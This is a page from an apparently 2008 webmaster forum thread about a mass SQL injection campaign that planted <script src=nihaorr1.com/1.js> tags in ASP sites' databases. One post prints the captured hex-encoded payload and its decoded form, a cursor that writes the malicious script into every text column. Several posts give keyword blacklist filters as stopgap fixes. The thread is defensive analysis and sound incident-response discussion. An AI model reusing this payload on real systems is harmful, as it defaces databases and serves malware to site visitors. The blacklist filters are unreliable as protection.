« Previous Next »

Answered Thread: Anyone know about www.nihaorr1.com/1.js?

Last post 12-12-2008 9:14 PM by Paul Bishop. 109 replies.

Average Rating Rate It (5)

RSS

Page 2 of 8 (110 items) < Previous 1 2 3 4 5 Next > ... Last »

Sort Posts:

  • 04-20-2008, 12:59 PM In reply to

    • asidana
    • Top 500 Contributor
    • Joined on 03-20-2008, 12:02 PM
    • Posts 19

    Re: Anyone know about www.nihaorr1.com/1.js?

    i have banned ip range for now. it's residental adsl line from china

  • 04-20-2008, 8:19 PM In reply to

    • nhertz
    • Not Ranked
    • Joined on 04-21-2008, 12:14 AM
    • Posts 2

    Re: Anyone know about www.nihaorr1.com/1.js?

    I want to follow up on all the controversy and theories regarding the massive ongoing iframe injections pointing to domains such as nmidahena.com, aspder.com and more recently: nihaorr1.com

    My intention is to focus a little on the facts rather than amplify the ongoing rumours and theories since this is causing frustrated webmasters to attempt hundreds of different methods to avoid these attacks with no luck.

    The attacks appear to come from China in relation to the public movements in order to boicot China’s Olympic Games.

    To answer the question whether this attack might be using more complex methods beyond just a simple sql injection, the answer is yes and no.
    The injection appears to be VERY SIMPLE. It does not need to be an ASP page containing a form. Last week we cleaned and patched up more than 10 websites affected by these attacks and 8 of them had been injected through the querystring of a simple "select" page. No forms or update statements existed on the pages from where the injection was entering.
    However, the command being executed is fairly complex in itself.

    I'm saying this because many webmasters are going mad patching up sensitive forms, restricting session id's etc.. only to get attacked again and again.
    You will indeed need to strengthen your code the sooner the better, but in this particular case consider the following for a temporary solution:

    Create an include file with something like this:

    <%
    if instr(lcase(sql),";--")>0 then
    response.redirect("index.asp")
    end if

    if instr(lcase(sql),"nvarchar")>0 then
    response.redirect("index.asp")
    end if
    %>

    Call it, forexample, Validator.asp and put it right before your select statements are executed:

    <!--#include file="validator.asp"-->
    rs.Open sql

    This will not permit some of the key words required to execute this command to take place and therefore the malicious Exec will not be allowed.

    Ofcourse you have to discover which pages are being used to inject this code.
    Most likely it is not a page that requires a member session to be viewed since the spiders are attacking pages that are cached in Google.

    Is there a tool or a mechanism to find it?
    The best way to discover when and where the attack is taking place is by running, forexample, SQL Server Profiler.
    Set it to record only Exec commands and when the injection happens it will show up and should reflect something like this:

    SELECT Musicas.Artistas, Musicas.Titles, Musicas.Formatos, Musicas.MemIDs, Musicas.Enlsae, Mem.Statesa, Mem.Cities, Mem.Paises, Mem.Users FROM Musicas, Mem Where Musicas.Titles = 'acb;DECLARE @S NVARCHAR(4000);SET @S=CAST0x440045000043005500520053004F005200200046004F0050020004600450054004300480020004E00450058005400

    2000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400

    054002C0040004300200057280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00

    270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E0

    06900680061006F00720010062006C0065005F0043007500720073006F007200
    AS NVARCHAR(4000));EXEC(@S);--' And Mem.ID = Musicas.MemIDs ORDER BY Mem.Fealogs DESC

    Once you run the statement through the descrypter you'll get something like this:

    DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+''<script src=nihaorr1.com/1.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

    This shows how the nihaorr1.com domain is being used by the script to harrass the users that visit your page where the script is executed.
    You can also see from the above command that the Exec will try to inject every table in your database which can contain varchar type.

    This is a very annoying attack since the spiders appear to be running in a circle on constant autopilot. However, don't go about thinking that this is as bad as it gets because the Exec command could easily have been programmed to delete your tables and even drop tables if the external users are configured to have such rights.
    I'm saying this to put a rush on everyone affected by these attacks and to get their sites fixed up as soon as possible.
    These attacks may just be a pre-warning, and if the attackers alter the code to make it delete and drop instead, then we'll be facing much bigger problems.

    Forget about wasting time and money on expensive antivirus and firewall solutions. They cannot do anything against SQL injection attacks and it is a common practice around forums to try and give people a false sense of security by pasting links to different software companies. These attacks are happening where there's vulnerable ASP code and no expensive software can prevent or "clean" this.

    Feel free to contact me and I'll do my best to get back to you.

    Regards,

    Nicolai Hertz
    Software Programmer

  • 04-20-2008, 10:35 PM In reply to

    • therage3k
    • Not Ranked
    • Joined on 06-10-2005, 4:31 AM
    • Castle Rock, CO
    • Posts 3

    Re: Anyone know about www.nihaorr1.com/1.js?

    Hi,
    Having had a couple customer's impacted who did not have database back-ups going, thought folks might want a way to clean-up the damage caused by these injections.

    This was my solution - it ain't perfect (for example, some folks have variations in the format of injected script tags), but use it / tweak it / be careful as it DOES remove text forever and ever.

    It is fairly generic and in Query Analyzer you can comment out the EXEC and uncomment the PRINT if you want to see the SQL it will run - it simply hunts for the string you provide and removes it.  It will hit ntext fields if the legnth of data is not over 8000 bytes.

    http://shop.zettaspace.com/knowledgebase.php?action=displayarticle&catid=1&id=1

    Hope this helps.

     

    TheRage3K
    www.therage3k.com
    www.zettaspace.com
  • 04-20-2008, 10:49 PM In reply to

    • rwmorey
    • Not Ranked
    • Joined on 04-28-2003, 9:53 PM
    • Posts 4

    Re: Anyone know about www.nihaorr1.com/1.js?

    We appear to have been hit by this through our website that did have a customer entry form connected to an ASP page inserting records. For now I have remove this page and changed the user permission to only SELECT from the appropriate tables. Will this patch my SQL server to prevent this from hitting us again?

     Thanks

    Rich

  • 04-21-2008, 5:28 AM In reply to

    Re: Anyone know about www.nihaorr1.com/1.js?

    Thanks for the update everybody. Looking like it is spreading quickly atm judging by how many views this topic has..

    I still don't think any of my servers have be hit yet but going to have a more details search later.

  • 04-21-2008, 6:16 AM In reply to

    Re: Anyone know about www.nihaorr1.com/1.js?

    Also here is a useful cheatsheet for SQL injection 

    http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

    You could use some of the techniques there to test the security of your site and gives a clever insight about some of teh techniques used in SQL injections. Basically if you can get some/any information or error message back then you are at risk.

    The attack used here is a combination of many on that site.

  • 04-21-2008, 8:55 AM In reply to

    • bencash
    • Not Ranked
    • Joined on 04-21-2008, 12:50 PM
    • Posts 1

    Re: Anyone know about www.nihaorr1.com/1.js?

    I have been targeted by this SQL injection exploit.  My ASP programmer is not available for a few days.  Can anyone tell me how to make my MSSQL database read only for the time being?  I do not need anyone to be able to modify this database for the time being, and this would be a simple workaround I guess for now.

    Thanks

    Ben Cashdan 

  • 04-21-2008, 9:51 AM In reply to

    Re: Anyone know about www.nihaorr1.com/1.js?

    bencash:

    I have been targeted by this SQL injection exploit.  My ASP programmer is not available for a few days.  Can anyone tell me how to make my MSSQL database read only for the time being?  I do not need anyone to be able to modify this database for the time being, and this would be a simple workaround I guess for now.

    Thanks

    Ben Cashdan 

    You are going to allow your ASP programmer back after allowing your site to be hacked. ;)

    Find out what the user connecting to the DB in the connection string is and make that user read only. For more deatils direct your question over to a SQL forum like www.sqlteam.com

  • 04-21-2008, 11:31 AM In reply to

    Re: Anyone know about www.nihaorr1.com/1.js?

    This threat is the second type my company has been attacked by, After the first attack 2 weeks ago by a different virus we have managed to fend off attacks, but this www.nihaorr1.com/1.js? has caused alot of trouble. I have only recently started as the web developer for a new company, and ive never really used asp as my main language so this is a difficult time for me. If anyone has any further input other than what is already here please post so people like myself stand a chance.

     Thanks

    Simon

     

  • 04-21-2008, 2:07 PM In reply to

    Re: Anyone know about www.nihaorr1.com/1.js?

    One of my clients has been affected by this exploit, but with some notable differences:

    • Only a few tables in the database were touched, and I can't seem to find a commonality between them (which goes against what the script that was posted earlier was showing).
    • I can't find any evidence of attempts at an injection attack or a successful one in the IIS logs.

    Has anyone who's been affected by this seen any other ways that the attacker could have possibly gotten through besides probing for vulnerabilities in the querystring?

     

  • 04-21-2008, 4:16 PM In reply to

    • sirach3
    • Not Ranked
    • Joined on 04-21-2008, 8:05 PM
    • Posts 1

    Re: Anyone know about www.nihaorr1.com/1.js?

    I had the same experience as misterzimbu - only 6 or 7 tables were hit, out of some 50 or so possible tables, in an attack on April 19.  I'm guessing maybe they used a "TOP 6" in the query?  By only hitting a few tables, it achieved a more subtle effect that was not noticed for a full day, whereas attacking all tables would have been apparent immediately.  As in nature, a successful parasite does not kill its host right away.

    Thanks nhertz for the "validator" script suggestion above - a good first line of defense, in addition to all the other usual SQL Injection precautions.  I've learned a painful lesson this past weekend.

  • 04-21-2008, 4:41 PM In reply to

    Re: Anyone know about www.nihaorr1.com/1.js?

    I was able to come up with an explanation for both issues.  They did in the end came through with a SQL injection attack, I was just looking at the wrong versions of the log files.

    As for the tables that were touched, my explanation was that the largest tables were hit first.  The SQL command will eventually hit its timeout doing all the updates on the rows in those tables and not run on the rest.
     

  • 04-21-2008, 4:53 PM In reply to

    Re: Anyone know about www.nihaorr1.com/1.js?

    how to fix ??

    Are we sure that this is an attack through the URL and not through a form ??

    Well my website has been hit twice with this and it has caused serious damage and outage time each time...

    I've come up with a possible quick fix. On my site i have an include file which is included in each asp file. This include file has all the presentation etc....

    In the top of this file i now have a check of the query string being passed, if an illegal value is found then it fowards the page directly to google without doing any database stuff :

    <%

    PATH_INFO = Request.ServerVariables("PATH_INFO")
    QUERY_STRING = Request.ServerVariables("QUERY_STRING")
    SCRIPT_NAME = Request.ServerVariables("SCRIPT_NAME")


    dim passedString(15)

    passedString(0) = "DECLARE"
    passedString(1) = "NVARCHAR"
    passedString(2) = "SET"
    passedString(3) = "CAST"
    passedString(4) = "0x"
    passedString(5) = "("
    passedString(6) = ")"
    passedString(7) = "--"
    passedString(8) = "@"
    passedString(9) = ";"
    passedString(10) = "-"
    passedString(11) = "SELECT"
    passedString(12) = "declare"
    passedString(13) = "set"
    passedString(14) = "cast"
    passedString(15) = "nvarchar"

    For each x in passedString

        stringOkay = InStr(QUERY_STRING, x)
        'response.write (stringOkay)
        If stringOkay <> 0 Then response.redirect ("http://www.google.com")
        'response.write ("<br/>Found." & x)
       
    Next
    %>
     

    Only time will tell if this will work though !!

    Are there any other suggestions on how to deflect these attacks ??

     

    Cheers
    A

     

     

     

  • 04-21-2008, 5:16 PM In reply to

    • pb_aldea
    • Not Ranked
    • Joined on 04-21-2008, 9:06 PM
    • Posts 3

    Re: Anyone know about www.nihaorr1.com/1.js?

    Greetings,

    My SQL instructions blacklist includes:

    exe
    create
    declare
    script
    insert
    update
    drop
    delete
    insert
    go

    Both query string and form data is filtered. Even then, somehow, one administartor with an infected computer opened the security breach. The infection probably adds the instruction in the form data. 

    Lesson learned: Trust no one.

    Now, this is where the fun begins... I'm having trouble trying to restore the backups made 2 weeks ago, even when my backup file states that the available data extends up to 4 months ago I still keep geting yesterday's corrupted data. SQL documentation is not helping me.

    Any clue?

    Thanks, best regards.

  • 04-21-2008, 5:51 PM In reply to

    • Sleuth23
    • Not Ranked
    • Joined on 04-21-2008, 9:45 PM
    • Posts 8

    Re: Anyone know about www.nihaorr1.com/1.js?

     MZ,

     

    CAn you shed some light as to what you searched for to determine how you were compromised. What logs did you search and what did you search for? 

Page 2 of 8 (110 items) < Previous 1 2 3 4 5 Next > ... Last »
Microsoft Communities